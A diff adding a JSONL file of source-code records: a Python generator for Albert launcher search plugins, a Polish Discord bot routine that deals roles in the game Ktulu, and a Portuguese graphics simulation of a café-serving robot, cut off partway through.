diff --git "a/5473.jsonl" "b/5473.jsonl" new file mode 100644--- /dev/null +++ "b/5473.jsonl" @@ -0,0 +1,719 @@ +{"seq_id":"526259100","text":"#!/usr/bin/env python3\n\n\"\"\"\nCreate an albert python plugin for each one of the specified websites.\nUses the `googler` tool for the actual search.\n\"\"\"\n\nimport os\nimport re\nimport secrets\nimport shutil\nimport tempfile\nfrom pathlib import Path, PurePosixPath\nfrom subprocess import Popen\nfrom typing import Optional\n\nimport requests\n\nfrom cookiecutter.main import cookiecutter\n\n# globals -------------------------------------------------------------------------------------\n\n# Get all the websites that work with googler or manually specify websites to create a plugin\n# for.\ngenerate_plugins_only_for = [\n \"alternativeto\",\n \"amazon\",\n \"askubu\",\n \"aur.archlinux\",\n \"bbc\",\n \"cnn\",\n \"cracked\",\n \"crunchbase\",\n \"distrowatch\",\n \"dpkg\",\n \"ebay\",\n \"facebook\",\n \"github\",\n \"gnu\",\n \"hackaday\",\n \"howstuffworks\",\n \"imdb\",\n \"kernel\",\n \"last\",\n \"linkedin\",\n \"linux\",\n \"man7\",\n \"opensubtitles\",\n \"quora\",\n \"reddit\",\n \"rottentomatoes\",\n \"rpmfind\",\n \"sourceforge\",\n \"stackoverflow\",\n \"ted\",\n \"torrentz2\",\n \"twitter\",\n \"vim\",\n \"wikipedia\",\n \"wikiquote\",\n \"yahoo\",\n \"youtube\",\n \"cambridge\",\n]\n\ncustom_plugins = {\n \"search_amazon\": {\"trigger\": \"ama\", \"googler_at\": \"amazon.co.uk\"},\n \"search_google\": {\"trigger\": \"gg\", \"googler_at\": \"\"},\n \"search_cppreference\": {\"trigger\": \"cpp\", \"googler_at\": \"en.cppreference.com\"},\n \"search_kivy\": {\"trigger\": \"kv\", \"googler_at\": \"kivy.org\"},\n \"search_wikipedia\": {\"googler_at\": \"en.wikipedia.org\", \"trigger\": \"w\"},\n \"search_wikiquote\": {\"googler_at\": \"en.wikiquote.org\", \"trigger\": \"quote\"},\n \"search_urbandictionary\": {\"googler_at\": \"urbandictionary.com\", \"trigger\": \"ud\"},\n \"search_dlib\": {\"googler_at\": \"dlib.net\", \"trigger\": \"dlib\"},\n \"search_opencv\": {\"googler_at\": \"docs.opencv.org\", \"trigger\": \"cv\"},\n \"search_pydocs\": {\"googler_at\": \"docs.python.org\", \"trigger\": \"pydocs\"},\n \"search_scipy\": {\"googler_at\": \"docs.scipy.org\", \"trigger\": \"sp\"},\n \"search_scihub\": {\"googler_at\": \"sci-hub.tw\", \"trigger\": \"sci\"},\n \"search_devhints\": {\"googler_at\": \"devhints.io\", \"trigger\": \"dev\"},\n \"search_cambridge_dictionary\": {\n \"googler_at\": \"dictionary.cambridge.org\",\n \"trigger\": \"cam\",\n },\n \"search_qt5_docs\": {\"googler_at\": \"doc.qt.io/qt-5\", \"trigger\": \"qt5\"},\n \"search_acronyms\": {\"googler_at\": \"https://www.allacronyms.com\", \"trigger\": \"acro\"},\n \"search_rust\": {\"googler_at\": \"https://doc.rust-lang.org\", \"trigger\": \"ru\"},\n \"search_rustcreates\": {\"googler_at\": \"https://docs.rs\", \"trigger\": \"rc\"},\n \"search_ubuntu\": {\"googler_at\": \"https://packages.ubuntu.com\", \"trigger\": \"ubu\"},\n}\n\n\n# generate_plugins_only_for = []\n\n# supplementary methods -----------------------------------------------------------------------\n\n\ndef get_plugin_name_wo_search(plugin_name):\n return plugin_name[len(\"search_\") :]\n\n\ndef parse_googler_at_line(line: str):\n \"\"\"Parse lines of this form:\n\n alias @zdnet='googler -w zdnet.com'\\n\n \"\"\"\n tokens = line.strip().split()\n googler_at = tokens[-1][:-1] # ignore \"'\" in the end of line\n plugin_name = googler_at.split(\".\")[0]\n trigger = re.search(\"@(.*)=\", line).groups()[0]\n\n return plugin_name, googler_at, trigger\n\n\ndef googler_plugins() -> dict:\n res = requests.get(\n \"https://raw.githubusercontent.com/jarun/googler/master/auto-completion/googler_at/googler_at\"\n )\n alias_lines = [\n l for l in res.text.splitlines() if \"alias\" in l and not l.lstrip().startswith(\"#\")\n ]\n googler_plugins = {}\n\n for l in alias_lines:\n plugin_name, googler_at, trigger = parse_googler_at_line(l)\n plugin_name = \"_\".join([\"search\", plugin_name])\n\n googler_plugins[plugin_name] = {\"googler_at\": googler_at, \"trigger\": trigger}\n\n # user-specified filter\n if generate_plugins_only_for:\n googler_plugins = {\n g[0]: g[1]\n for g in googler_plugins.items()\n if get_plugin_name_wo_search(g[0]) in generate_plugins_only_for\n }\n\n return googler_plugins\n\n\ndef get_cookiecutter_directives(plugin_name, trigger, googler_at):\n github_user = \"bergercookie\"\n\n cookiecutter_directives = {\n \"author\": \"Nikos Koukis\",\n \"plugin_name\": plugin_name,\n \"trigger\": trigger,\n \"googler_at\": googler_at,\n \"github_user\": github_user,\n \"repo_base_url\": f\"https://github.com/{github_user}/awesome-albert-plugins/blob/master/plugins/\",\n \"download_url_base\": f\"https://raw.githubusercontent.com/{github_user}/awesome-albert-plugins/master/plugins/{plugin_name}/\",\n \"plugin_short_description\": f'{plugin_name.split(\"_\")[1].capitalize()}: Search suggestions for {plugin_name.split(\"_\")[1].capitalize()}',\n \"albert_plugin_interface\": \"v0.2\",\n \"version\": \"0.1.0\",\n }\n\n return cookiecutter_directives\n\n\n# main ----------------------------------------------------------------------------------------\n\n\ndef main(): # noqa\n # setup -----------------------------------------------------------------------------------\n cookiecutter_orig_path = Path(__file__).parent / \"plugins\" / \"search_template\"\n assert cookiecutter_orig_path.is_dir(), f\"No such directory -> {cookiecutter_orig_path}\"\n\n def get_logo(plugin_name) -> Optional[Path]:\n \"\"\"Get the corresponding logo or None if the latter is not found.\"\"\"\n path_to_logos = Path(__file__).parent / \"googler_logos\"\n all_logos = [str(p) for p in path_to_logos.iterdir()]\n r = re.compile(\n f\"{str(path_to_logos / get_plugin_name_wo_search(plugin_name))}\\.[png\\|jpg\\|svg]\"\n )\n matching_logos = list(filter(r.search, all_logos))\n\n if len(matching_logos):\n logo_path = Path(matching_logos[0])\n else:\n logo_path = Path(__file__).parent / \"googler_logos\" / \"default.svg\"\n\n return logo_path\n\n def get_output_dir(plugin_name) -> Path:\n \"\"\"Get the output directory for the plugin at hand.\"\"\"\n return Path(__file__).parent / \"plugins\" / plugin_name\n\n oldpwd = Path(\".\").absolute()\n os.chdir(Path(__file__).parent)\n\n # main functionality ----------------------------------------------------------------------\n plugins = googler_plugins()\n plugins.update(custom_plugins)\n for plugin in plugins.items():\n plugin_name = plugin[0]\n trigger = plugin[1][\"trigger\"]\n googler_at = plugin[1][\"googler_at\"]\n\n print()\n print(\"===============================================\")\n print(f\"Generating plugin -> {plugin_name}\")\n print(\"===============================================\")\n print()\n\n # create temporary template directory\n random_int = secrets.randbits(32)\n cookiecutter_tmp = PurePosixPath(\"/tmp\") / f\"albert-cookiecutter-{random_int}\"\n shutil.copytree(cookiecutter_orig_path, cookiecutter_tmp)\n\n print(f\"- Cookiecutter template directory -> {cookiecutter_tmp}\")\n print(f\"- Plugin output directory-> {get_output_dir(plugin_name)}\")\n\n cookiecutter(\n template=str(cookiecutter_tmp),\n no_input=True,\n overwrite_if_exists=True,\n extra_context=get_cookiecutter_directives(\n plugin_name=plugin_name, trigger=trigger, googler_at=googler_at\n ),\n output_dir=get_output_dir(plugin_name).parent,\n )\n\n # copy logo if exists\n ext = get_logo(plugin_name).suffix\n shutil.copy(get_logo(plugin_name), get_output_dir(plugin_name) / f\"{plugin_name}{ext}\")\n\n # postprocessing --------------------------------------------------------------------------\n os.chdir(oldpwd)\n\n # TODO Remove temporary cookiecutter file and directories?\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"create_googler_plugins.py","file_name":"create_googler_plugins.py","file_ext":"py","file_size_in_byte":7838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"267396019","text":"import datetime\nimport os\nfrom random import shuffle\n\nimport globals\nimport postacie\nfrom game import Game\nfrom globals import bot\nimport settings\nfrom utility import *\n\n\nasync def start_game(ctx, *lista):\n roles = open('Postacie.txt', 'w')\n gracze = list(get_player_role().members)\n guild = get_guild()\n member = get_member(ctx.author.id)\n if globals.current_game != None:\n await ctx.send(\"Musisz najpierw zakończyć trwającą grę, użyj `&end`.\")\n return\n if len(lista) != len(gracze):\n await ctx.send(\n \"Błędna liczba postaci. Oczekiwano {}, Otrzymano {}\".format(\n len(gracze), len(lista)))\n return\n\n globals.current_game = Game()\n\n lista_shuffled = list(lista)\n shuffle(lista_shuffled)\n\n c = \"\\nPostacie:\\n\"\n roles.write(\"Postacie:\\n\")\n globals.current_game.roles = lista\n for member, role in zip(gracze, lista_shuffled):\n try:\n await clear_nickname(member, ctx)\n await member.create_dm()\n await member.dm_channel.send(\n \"\"\"{}\\nWitaj, jestem cyfrowym przyjacielem Manitou. Możesz wykorzystać mnie aby ułatwić sobie rozgrywkę. Jako gracz masz dostęp m.in. do następujących komend:\n`&help` pokazuje wszystkie dostępne komendy\n`&postać ` pokazuje opis danej postaci\n`&żywi` przedstawia postaci, które biorą udział w grze\n{}\nTwoja postać to:\\n{}\"\"\".format(settings.RULLER, settings.RULLER,\n postacie.get_role_details(role, role)))\n except discord.errors.Forbidden:\n await ctx.send(\n \"Nie można wysłać wiadomości do {}\\nGra nie została rozpoczęta\".format(\n get_nickname(member.id)))\n globals.current_game = None\n return\n globals.current_game.add_pair(member, role)\n globals.current_game.make_factions(lista)\n for member in sorted(gracze, key=lambda m: get_nickname(m.id).lower()):\n c += \"{};\\t{}\\n\".format(get_nickname(member.id),\n globals.current_game.player_map[member].role)\n k = lambda m: get_nickname(m.id)\n roles.write(\"{}\\t{}\\n\".format(get_nickname(member.id),\n globals.current_game.player_map[\n member].role))\n # gracz i rola muszą byc oddzielone przecinkiem, wtedy przy wklejaniu w excela się oddzielają komórki\n try:\n roles.close()\n await send_to_manitou(c)\n with open(\"Postacie.txt\", 'rb') as fp:\n await send_file_to_manitou(discord.File(fp,\n 'Postacie {}.txt'.format(\n datetime.datetime.now() + datetime.timedelta(\n hours=2))))\n os.remove(\"Postacie.txt\")\n except discord.errors.Forbidden:\n await ctx.send(\n \"Nie można wysłać wiadomości do Manitou\\nGra nie została rozpoczęta\"\n )\n globals.current_game = None\n return\n await bot.change_presence(activity=discord.Game(\"Ktulu\"))\n for channel in get_guild().text_channels:\n if channel.category_id == settings.FRAKCJE_CATEGORY_ID:\n await channel.send(settings.RULLER)\n team = postacie.print_list(lista)\n await get_glosowania_channel().send(\"\"\"Rozdałem karty. Liczba graczy: {}\nGramy w składzie:{}\"\"\".format(len(lista), team))\n\n\ndef if_game():\n return globals.current_game != None\n","sub_path":"starting.py","file_name":"starting.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"30731395","text":"\n\nfrom graphics import *\nfrom math import sqrt\nimport time\n\n################################################################################################################\n\n#A função principal encontra-se na linha nº 400\n\nclass Balcao:\n \n #Instância inicial da classe Balcão\n def __init__(self, win, x_1, y_1, x_2, y_2):\n self.balcao = Rectangle(Point(x_1, y_1), Point(x_2, y_2))\n self.balcao.draw(win)\n self.balcao.setFill('brown')\n self.area_proibida = Rectangle(Point(103, 37), Point(120, 83))\n self.x_1 = x_1\n self.x_2 = x_2\n self.y_1 = y_1\n self.y_2 = y_2\n \n \n def colisao_balcao(self, p, win,robot):\n \"\"\"Função que determina se o ponto carregado irá fazer com que o robô colida com o balcão \"\"\"\n return carregar_botao(p, win, self.x_1 - robot.raio, self.y_1 -robot.raio, self.x_2, self.y_2 +robot.raio)\n \n################################################################################################################\n\nclass Mesa:\n def __init__(self, raio, robot):\n self.grupo = []\n self.raio = raio\n self.zona_proibida = []\n self.raio_proibido = self.raio + robot.raio\n \n \n def fazer_mesa(self, win):\n \"\"\"Funçao que desenha as mesas na janela gráfica e as põe em listas necessárias\"\"\"\n x = -10\n for i in range (1,7):\n x = x+20\n mesas_1 =Circle(Point(20,x), self.raio)#Primeira fila de mesas\n self.grupo.append(mesas_1)\n self.zona_proibida.append(Circle(Point(20, x),self.raio_proibido))#Lista que servirá para determinar se ponto carregado fará com que o robô colida com alguma mesa\n (mesas_1).draw(win)\n mesas_1.setFill('chocolate')\n y = -10\n self.y_final = -10 + 6*20\n for i in range (1,7):\n y = y+20\n mesas_2 = Circle(Point(40,y), self.raio)#Segunda FIla de mesas\n self.zona_proibida.append(Circle(Point(40, y),self.raio_proibido))\n self.grupo.append(mesas_2)\n (mesas_2).draw(win)\n mesas_2.setFill('chocolate')\n \n def botao (self, p1):\n \"\"\" Função que verifica se o rato está dentro de alguma mesa\"\"\"\n for x in self.grupo:#Todas as mesas\n if dentro(x, p1):\n return x\n \n def colisao_mesa(self, p1):\n \"\"\" Função que verifica se o rato está num ponto em que o robô irá colidir com a mesa se para lá fôr\"\"\"\n for x in self.zona_proibida:#Zona em que se o robô lá fôr, colide com a mesa\n if dentro(x, p1):#Se o botão estiver dentro da mesa, o robô desloca-se à mesa e não à zona proibida\n if self.botao(p1):\n False\n else:\n return x\n \n def entre_mesa_y(self, y):\n \"\"\" Função que verifica se o robô terá de se desviar de uma mesa em função do ponto carregado,\n ou seja, se a coordenada y do ponto está entre coordenadas y de alguma mesa\"\"\"\n for w in self.grupo:#Lista que contém todas as mesas\n centro = w.getCenter()\n if ((centro.getY() - self.raio-3 < y) and (y< centro.getY() + self.raio+3)):\n return centro\n \n################################################################################################################\n\nclass Robot:\n #Instância inicial da classe Robot\n def __init__(self, posx, posy, win, raio):\n self.posx,self.posy,self.raio = posx,posy,raio\n self.robot = Circle(Point(posx, posy), raio)#Coordenadas inicias do robô\n self.robot.setFill(\"lightblue\")\n self.robot.setOutline(\"black\")\n self.robot.draw(win)#Desenhar o robô\n self.bateria = Circle(Point(posx, posy), (raio-2))#Coordenadas iniciais da bateria do robô\n self.bateria.setFill('green1')\n self.bateria.draw(win)#Desenhar a bateria\n self.grupo = [self.robot, self.bateria]#Grupo que contém o robô e a bateria\n self.listax_ida,self.listay_ida,self.listax_volta,self.listay_volta,self.listax_volta_temporaria,self.listay_volta_temporaria = [],[],[],[],[],[]\n \n def sair_janela(self, mesa, p):\n \"\"\"Funcao que determina se o robô tem de sair da janela para chegar ao ponto\"\"\"\n ponto_x = p.getX()\n ponto_y = p.getY()\n return (ponto_x + self.raio >= 120) or (ponto_x- self.raio <= 0) or (ponto_y + self.raio >= 120) or (ponto_x - self.raio <= 0)\n \n def lista(self,listax, x,listay,y):\n \"\"\"Função que adiciona objetos (dx e dy) às listas que contêm o dx ou o dy \"\"\"\n (listax).append(x)\n (listay).append(y)\n \n def mover_grupo(self,dx,dy):\n \"\"\"Função que move tanto o robô com a sua luz da bateria quando o dx e o dy não estão numa lista\"\"\"\n for x in self.grupo:\n x.move(dx,dy)\n \n def mover_grupo_2(self, listax, listay):\n \"\"\"Função que move tanto o robô com a sua luz da bateria, de acordo com dx's e dy's que estão\n dentro de listas\"\"\"\n r = 1\n h = -1#Para quando começar o ciclo o valor de h passar a 0\n while r!=0:\n w = len(self.listax_ida)\n h = h +1\n if h == w:#Ou seja, se a lista chegar \"ao fim\"\n listax = []\n listay = []\n r = 0\n break\n time.sleep(0.07)\n dx = listax[h]\n dy = listay[h]\n for x in self.grupo:\n x.move(dx,dy)\n \n \n \n def desenhar_cafe(self, win, x,y):\n \"\"\"Funcao que desenha o cafe que o robô vai servir à mesa\"\"\"\n cafe = Circle(Point(x,y),1)\n cafe.draw(win)\n cafe.setFill('brown')\n \n \"\"\"Self.x e Self.y são as coordenadas do robô.\n x_P e y_P são as coordenadas finais do robô para onde ele se deslocará\"\"\"\n \n def andar_normalmente(self,x_p,y_p,mesa,doc,win):\n \"\"\"Funcao que faz o robô andar quando não colidir com nada\"\"\"\n if self.x != x_p and self.x < x_p :#Se for menor, temos de adicionar 1 ao seu valor, para se aproximar cada vez mais(o mesmo para o y)\n self.x,dx = self.x+1,1\n if self.x != x_p and self.x > x_p:\n self.x,dx = self.x -1,-1\n elif self.x == x_p:\n self.x,dx = self.x,0\n if self.y != y_p and self.y < y_p:\n self.y,dy = self.y+1,1\n if self.y != y_p and self.y > y_p:\n self.y,dy = self.y-1,-1\n elif self.y == y_p:\n self.y,dy = self.y,0\n self.lista(self.listax_ida, dx,self.listay_ida, dy)\n doc.atualizar_distancia(dx, dy)#Atualizar a distância para saber se o robô tem bateria para deslocar a certo ponto\n \n \n \"\"\"Self.x e Self.y são as coordenadas do robô.\n x_c e y_c são as coordenadas finais do robô para onde ele se deslocará\"\"\"\n \n \n def colisao_balcao(self,x_c,y_c,mesa,doc,win):\n \"\"\"Funcao que faz o robô andar quando ele colidir com o balcão\"\"\"\n if self.x + self.raio == 99:#Ou seja, se o robô for colidir com o balcão.\n while True: \n if self.y == y_c and self.x == x_c:\n break #Se o robô chegar ao seu destino, não se retoma o ciclo\n if (self.y + self.raio <= 40) or (self.y - self.raio >= 80): \n self.y,dy = self.y,0 #se o robô já estiver em cima ou em baixo do balcão, não é necessário alterar o valor do y\n if self.x != x_c:\n dx,dy,self.x = 1,0,self.x+1#Se o valor de x não é o final, tem de se adicionar 1 até lá chegar.\n self.lista(self.listax_ida, dx,self.listay_ida, dy)\n doc.atualizar_distancia(dx, dy)#Atualizar a distância para saber se o robô tem bateria para deslocar a certo ponto\n else:\n break #Ou seja, se o robô já estiver a cima ou a baixo do balcão e o robô ja tiver chegado ao seu destino, para-se o ciclo.\n else:\n if self.y < y_c:#Forma de otimizar o percurso ligeiramente\n self.y,dx,dy = self.y + 1,0,1\n self.lista(self.listax_ida, dx,self.listay_ida, dy)\n doc.atualizar_distancia(dx, dy)\n else:\n dx,dy,self.y= 0,-1,self.y-1\n self.lista(self.listax_ida, dx,self.listay_ida, dy)\n doc.atualizar_distancia(dx, dy)\n \n \n def mover_robot_mesa(self, x, y, x_c, y_c, mesa, doc, win):\n \"\"\"Função que dá as coordenadas para mexer o robô.\n y_c e x_c são os pontos finais para onde o robô se deslocará\"\"\"\n self.x = x#Coordenada x do ponto inicial do robô\n self.y = y#Coordenada y do ponto inicial do robô\n while True: \n self.colisao_balcao(x_c,y_c,mesa,doc,win)#Ver se ele colidiu com o balcão\n self.andar_normalmente(x_c,y_c,mesa,doc,win)#Se não colidir, andar normalmente\n if self.y == y_c and self.x == x_c:#Se o robô chegar ao seu ponto final\n break\n self.x,self.y = self.posx,self.posy\n \n def mover_robot_balcao(self):\n \"\"\"Funcão que determina as listas de como o robô voltará ao balcão\"\"\"\n self.listax_volta_temporaria = self.listax_ida[::-1]#Contrário da lista \n self.listay_volta_temporaria = self.listay_ida[::-1]\n for i in self.listax_volta_temporaria:\n self.listax_volta.append(i*-1)#A lista final de voltar é o contrário e inverso da lista de ida\n for i in self.listay_volta_temporaria:\n self.listay_volta.append(i*-1)\n \n################################################################################################################\n\n \nclass Menu:\n #Instancia inicial da classe menu\n def __init__(self, win, x_1, y_1, x_2, y_2):\n self.menu = Rectangle(Point(x_1,y_1), Point(x_2, y_2))\n self.menu.draw(win)\n self.menu.setFill('white')\n self.texto = Text(Point(90, 107), \"Go Back\")\n self.texto.draw(win)\n self.x_1 = x_1\n self.y_1 = y_1\n self.x_2 = x_2\n self.y_2 = y_2\n\n################################################################################################################\n\nclass DocStation:\n #Instancia inicial da classe Docstation\n def __init__(self, dist, win, x_1, y_1, x_2, y_2, x, y, distancia_provisoria):\n self.dist = dist\n self.docstation = Rectangle(Point(x_1,y_1), Point(x_2, y_2))\n self.texto = Text(Point(105, 12), (\"DocStation!\"))\n self.docstation.draw(win)\n self.texto.draw(win)\n self.docstation.setFill('lightblue')\n self.x_1,self.x_2,self.y_1,self.y_2 = x_1,x_2,y_1,y_2\n self.bateria = (x*2+y*2)*2#A bateria é a distância que ele consegue percorrer\n self.distancia_provisoria = 0\n self.bateria_restante = 0\n \n \n def atualizar_distancia(self, dx, dy):\n \"\"\"Função que atualiza a distância percorrida pelo robô\"\"\"\n self.dist = self.dist + 4*(sqrt(dx**2 + dy**2)) #Distância que o robô já percorreu\n self.distancia_provisoria = self.distancia_provisoria + 4*(sqrt(dx**2 + dy**2))#Distância que o robô irá percorrer\n return (self.dist)\n return(self.distancia_provisoria)\n \n \n \n def ir_docstation(self, p, win):\n \"\"\"Função que determina se o ponto onde o utilizador carregou está dentro da docstation\n ou seja, se o robô se necessita de deslocar à docstation\"\"\"\n return carregar_botao(p, win, self.x_1, self.y_1, self.x_2, self.y_2)\n \n \n \n def colisao_docstation(self, p, win):\n \"\"\"Função que determina se o ponto carregado irá fazer com que o robô colida com a docstation\n ou seja, está demasiado perto da docstation para o robô caber lá sem colidir\"\"\"\n if carregar_botao(p, win, self.x_1 - 4, self.y_1 -3, self.x_2, self.y_2 +3):\n if self.ir_docstation(p, win):#Se o ponto estiver dentro da docstation, ele desloca-se à docstaion e não colide com ela\n return False\n else:\n return True\n\n def animacao_docstation(self,robot,win):\n \"\"\"Animação do robô quando ele necessita de se deslocar à docstation\"\"\"\n print(\"O robô irá recarregar a bateria e retomará o seu percurso dentro de instantes.\")\n for i in range(4):\n robot.mover_grupo(-1,0)\n time.sleep(0.07)\n for i in range(50):\n robot.mover_grupo(0,-1)\n time.sleep(0.07)\n robot.bateria.setFill('MediumPurple')\n print_texto(win, \"Robô a \", \"recarregar\")\n robot.bateria.setFill('green1')\n for i in range(50):\n robot.mover_grupo(0,1)\n time.sleep(0.07)\n for i in range(4):\n robot.mover_grupo(1,0)\n time.sleep(0.07)\n self.dist = self.distancia_provisoria + 54 #A distância percorrida será a distância da docstation ao balcão mais a distância do percurso seguinte\n self.bateria_restante = round(100-((self.dist*100)/(self.bateria)))\n \n \n\n # o perimetro da janela é 480\n def verificar_bateria(self, robot, win):\n \"\"\"Função que verifica a bateria do robô\"\"\"\n self.bateria_restante = round(100-((self.dist*100)/(self.bateria)))#Ver quanta bateria o robô tem restante\n if self.dist >= (self.bateria-54):#Se o robô já não tiver bateria para se deslocar ao ponto, terá de ir à docstation recarregar\n self.animacao_docstation(robot,win)\n if self.dist >= ((self.bateria*3)/4):\n print_texto(win, \"bateria\", \"fraca.\")#Porque só lhe resta 1/4 da bateria\n robot.bateria.setFill('orange')\n self.distancia_provisoria = 0#Porque a distância provisõria não será utilizada para nada\n else:\n self.distancia_provisoria = 0#Porque a distância provisõria não será utilizada para nada\n \n################################################################################################################\n \n \ndef carregar_botao(ponto, win, x_1, y_1, x_2, y_2):\n \"\"\"Função que verifica se um dado ponto se encontra dentro de um retangulo com as coordenadas dadas\"\"\"\n retangulo = Rectangle(Point(x_1, y_1), Point(x_2, y_2))#Fazer retângulo com as coordenadas \n\n baixo_esquerda = retangulo.getP1()\n \n cima_direita = retangulo.getP2()\n \n return baixo_esquerda.getX() < ponto.getX() < cima_direita.getX() and baixo_esquerda.getY() < ponto.getY() < cima_direita.getY()\n \n################################################################################################################\n\n \n \ndef dentro(circulo, ponto):\n \"\"\"Função que verifica se um dado ponto se encontra dentro de um circulo dado\"\"\"\n centro = circulo.getCenter()\n\n distancia = ((ponto.getX() - centro.getX()) ** 2 + (ponto.getY() - centro.getY()) ** 2) ** 0.5\n\n return distancia < circulo.radius#Ver se a distância do centro ao ponto é menor que o raio, se for é porque o ponto está dentro do circulo\n\n################################################################################################################\n\ndef mover_robot_ponto_animacao(robot):\n \"\"\"Animação do robô quando ele se desloca a um ponto\"\"\"\n robot.mover_grupo_2(robot.listax_ida, robot.listay_ida)#Mover o robô à mesa\n time.sleep(0.7)\n robot.mover_grupo_2(robot.listax_volta, robot.listay_volta)#Mover o robô ao balcao\n time.sleep(0.2)\n robot.mover_grupo_2(robot.listax_ida, robot.listay_ida)#Mover o robô à mesa\n time.sleep(0.7)\n robot.mover_grupo_2(robot.listax_volta, robot.listay_volta)#Mover o robô ao balcão\n\n################################################################################################################\n\ndef animacao_mesa(robot,doc,x_c,y_c,mesa,win,centro):\n \"\"\"Animação do robô quando ele se desloca a uma mesa\"\"\"\n robot.mover_robot_mesa(robot.posx, robot.posy, x_c, y_c, mesa, doc, win)#fazer as listas para se deslocar ao ponto\n robot.mover_robot_balcao()#fazer as listas para se deslocar ao balcao\n doc.verificar_bateria(robot, win)#Ver se o robô tem bateria suficiente para se deslocar ao ponto pretendido\n robot.mover_grupo_2(robot.listax_ida, robot.listay_ida)#Mover o robô à mesa\n time.sleep(0.7)\n robot.mover_grupo_2(robot.listax_volta, robot.listay_volta)#Mover o robô ao balcão\n time.sleep(0.2)\n robot.mover_grupo_2(robot.listax_ida, robot.listay_ida)#Mover o robô à mesa\n time.sleep(0.1)\n robot.desenhar_cafe(win, x_c, centro.getY())#Desenhar o café na mesa pretendida\n time.sleep(0.7)\n robot.mover_grupo_2(robot.listax_volta, robot.listay_volta)#Mover o robô ao balcão\n bateria = '{} {} {}'.format(\"O robô tem\", doc.bateria_restante, \"% \")\n print_texto(win, bateria, \"de bateria restante.\")\n \n################################################################################################################\n \ndef animacao_ponto_y_entre_mesa(robot,x_p,y_p,y_m,mesa,doc,win):\n \"\"\"Animação do robô quando ele se desloca a um ponto com a coordenada y entre as mesas(fazer listas)\"\"\"\n robot.mover_robot_mesa(robot.posx, robot.posy, x_p , y_m + 9, mesa, doc, win)#Fazer as listas para mover o robô ao ponto com coordenada y maior que o ponto final, para o robô não colidir com as mesa\n robot.mover_robot_mesa(x_p, y_m+9, x_p,y_p, mesa, doc, win)#Fazer as listas para mover o robô desse ponto anterior ao ponto final\n robot.mover_robot_balcao()#fazer as listas para se deslocar ao balcao\n doc.verificar_bateria(robot, win)#Ver se o robô tem bateria suficiente para se deslocar ao ponto pretendido\n mover_robot_ponto_animacao(robot)\n bateria = '{} {} {}'.format(\"O robô tem\", doc.bateria_restante, \"% \")\n print_texto(win, bateria, \"de bateria restante.\")\n \n################################################################################################################\n\ndef animacao_ponto(robot,x_p,y_p,doc,win,mesa):\n \"\"\"Animação do robô quando ele se desloca a um ponto 'normal' (Fazer listas)\"\"\"\n robot.mover_robot_mesa(robot.posx, robot.posy, x_p,y_p, mesa, doc, win)\n robot.mover_robot_balcao()\n doc.verificar_bateria(robot, win)#Ver se o robô tem bateria suficiente para se deslocar ao ponto pretendido\n mover_robot_ponto_animacao(robot)\n bateria = '{} {} {}'.format(\"O robô tem\", doc.bateria_restante, \"% \")\n print_texto(win, bateria, \"de bateria restante.\")\n \n################################################################################################################\n \ndef definir_ponto_final(p1,robot,mesa,doc,win):\n \"\"\"Função que define o ponto final da trajetória quando o robô se desloca a um ponto e anima o robô\"\"\"\n x_p = round(p1.getX(), 0)\n y_p = round(p1.getY(), 0)\n if mesa.entre_mesa_y(y_p) and (x_p < 40):#Se o robô necessitar de se deslocar a um ponto entre mesas\n mesa_ = mesa.entre_mesa_y(y_p)\n y_mesa = mesa_.getY()\n if y_mesa == 110:#Pois a mesa mais acima é uma exceção e ele tem de se deslocar por baixo das mesas\n y_m = 90\n else:\n y_m = y_mesa#Se não estiver dentro dessa exceção\n animacao_ponto_y_entre_mesa(robot,x_p,y_p,y_m,mesa,doc,win)\n else:\n animacao_ponto(robot,x_p,y_p,doc,win,mesa)\n\n################################################################################################################\n \ndef definir_mesa_ponto_final(mesa,robot,p1,doc,win):\n \"\"\"Função que define o ponto final da trajetória quando o robô se desloca a uma mesa\"\"\"\n centro = mesa.botao(p1).getCenter()\n x_c = centro.getX()\n if centro.getY() > 10:#Se não forem as mesas mais baixas, deslocam-se à mesa por baixo\n y_c = centro.getY() - mesa.raio - robot.raio - 2\n else:#Se forem as mesas mais baixas, deslocam-se por cima\n y_c = centro.getY() + mesa.raio + robot.raio + 2\n animacao_mesa(robot,doc,x_c,y_c,mesa,win,centro)\n \n################################################################################################################\n\ndef print_texto(win, primeiro_texto, segundo_texto):\n texto = Text(Point(70, 90), primeiro_texto)\n texto_2 = Text(Point(70, 80), segundo_texto)\n texto.draw(win)\n texto_2.draw(win)\n time.sleep(2)\n texto.undraw()\n texto_2.undraw()\n \n################################################################################################################\n \n\"\"\"Esta função recebe o ponto carregado pelo rato e dará instruções conforme a posição do rato\"\"\"\ndef obter_rato(win, mesa, robot, balcao, menu, doc):\n while True:\n p1 = win.getMouse() #Ponto onde o utilizador carregar\n if carregar_botao(p1, win, menu.x_1, menu.y_1, menu.x_2, menu.y_2) == True:#Se o utilizador carregar no botão para voltar ao menu:\n win.close()\n doc.dist=0#dar reset à distância\n break\n if mesa.colisao_mesa(p1) or balcao.colisao_balcao(p1, win,robot) or robot.sair_janela(mesa,p1) or doc.colisao_docstation(p1, win):#Se o ponto fizer o robot colidir com algo:\n print_texto(win, \"O robô não se pode\", \"mover para esse ponto.\")\n else: #Se o utilizador não quiser voltar para o menu e o ponto for viável:\n robot.listay_ida, robot.listay_volta, robot.listax_ida, robot.listax_volta = [], [], [], []\n if doc.ir_docstation(p1,win):\n doc.dist = 1000\n doc.verificar_bateria(robot, win)\n bateria = '{} {} {}'.format(\"O robô tem\", doc.bateria_restante, \"% \")\n print_texto(win, bateria, \"de bateria restante.\")\n else:\n if mesa.botao(p1):\n definir_mesa_ponto_final(mesa,robot,p1,doc,win)\n else:\n definir_ponto_final(p1,robot,mesa,doc,win)\n \n################################################################################################################\n \ndef segunda():\n \"\"\"Função principal da segunda implementação, que cria a janela grafica e 'chama' as outras funções e classes\"\"\"\n win = GraphWin('Segunda Implementação', 360, 360)\n x,y=120.0,120.0\n win.setCoords(0.0, 0.0, x, y)\n win.setBackground('lightgrey')\n menu = Menu(win, 70, 100, 110, 115)\n robot = Robot(90, 60, win, 3)\n balcao = Balcao(win, 100.0, 40.0, 120.0, 80.0)\n mesa = Mesa(5, robot)\n mesa.fazer_mesa(win)\n doc = DocStation(0, win, 90, 0, 120, 20, x,y, 0)\n 